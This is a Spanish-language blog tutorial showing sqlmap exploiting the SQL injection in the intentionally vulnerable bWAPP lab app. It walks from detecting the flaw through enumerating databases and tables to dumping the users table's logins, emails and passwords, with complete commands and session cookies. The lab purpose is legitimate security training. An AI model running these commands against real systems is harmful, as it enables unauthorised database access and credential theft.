lunes, 23 de diciembre de 2019

Automatizando inyecciones con SQLMAP

SQLMAP es una herramienta gratuita (open source), escrita en Python la cual nos va a ayudar testear/automatizar el proceso de detección y explotación de inyecciones SQL.

Esta herramienta es capaz de realizar consultas en bases de datos como MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, HSQLDB y H2. 

Como se comentó en la anterior entrada del blog “Hacking de Aplicaciones Web vulnerables a SQL Injection” vamos a seguir utilizando la aplicación vulnerable bWAPP.

Accedemos a la aplicación web y seleccionamos en el menú, el apartado SQL Injection (Search/GET).



Una vez que ya tenemos iniciada la aplicación, vamos a colocar una comilla simple “ ‘ “ en el campo de búsqueda.


Como podéis ver en la siguiente captura nos arroja un error de sintaxis como el siguiente: “You have an error in your SQL syntax”. Que da indicios que la aplicación podría ser vulnerable a SQL Injection.


Una vez detectada que los datos introducidos no son saneados, se utiliza la herramienta SQLmap. Tenéis mucha información en su web principal: http://sqlmap.org/. Podéis descargarla y utilizarla tanto como para Windows (si lo hacéis acordaros de instalar Python) como para Linux. Yo en este caso utilizare Kali Linux.

Para ello necesitamos descubrir el parámetro vulnerable. En este caso es el parámetro “title” señalado en la siguiente captura:


Para simular la consulta como si se lanzara desde la propia página web utilizaremos alguna cookie como las mostradas a continuación:


Nos vamos a fijar en la parte del “GET” y en el apartado de cookie, que es lo que le vamos a facilitar a SQLmap para que pueda realizar las inyecciones. El comando –u es para indicarle la web sobre la que vamos a atacar:


Los campos que aparecen señalados en rojo indican que se trata de una base de datos MySQL y que el parámetro “title” si es vulnerable.

Ahora vamos a intentar listar todas las BBDD del back-end, para ello añadimos al final --dbs:
root@kali:~# sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" --dbs

Y como se puede apreciar podemos ver qué base de datos existen:


Y en este caso, vamos a centrarnos en la base de datos bwapp y conocer que tablas contiene. Para ello indicamos con –D la base de datos y --tables para averiguar las tablas:

root@kali:~# sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp --tables


Una vez que tenemos tablas y vemos una que nos llama la atención, la tabla users. Vamos a ver que contiene. Añadimos el argumento -T para indicar la tabla, que en este caso es users y que a su vez nos muestre las columnas con la opción --columns.

sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp -T users –columns


A continuación, vamos a descargar los campos que nos interesan que son: login,email,password. Lo hacemos con el -C para indicar las columnas que queremos (si son varias delimitarlas por comas) y --dump para descargarlas:

sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp -T users -C login,email,password, secret  --dump


También se descargan dos documentos que son en formato csv y txt en los que podéis ver lo que se ha descargado.

Si quisiéramos descargar todo, tan fácil como no especificar la columna y dejar solo el apartado --columns y añadir –dump:
sqlmap -u "http://192.168.0.21/bWAPP/sqli_1.php?title=hola&action=search" --cookie="security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=fjgu82d0t4vlnneq8eh7uek724" -D bwapp -T users --columns --dump


Conclusiones y Dudas

Como se ha podido ver, hemos podido consultar y acceder a una base de datos de la cuál previamente no teníamos acceso. Con la herramienta SQLmap lo que hacemos es automatizar las tareas de realizar las consultas/inyecciones SQL de una manera más sencilla y cómoda.

Sobre todo, es importante antes lanzar cualquier consulta desde SQLmap tener en cuenta que existe riesgo de causar impacto en la disponibilidad del servicio.

Y hasta aquí la pequeña guía de inyecciones SQL, espero que haya sido de vuestro agrado.


Autor: Héctor Berrocal - CCNA, CEH, ITILF, MCP
Dtpo. Auditoría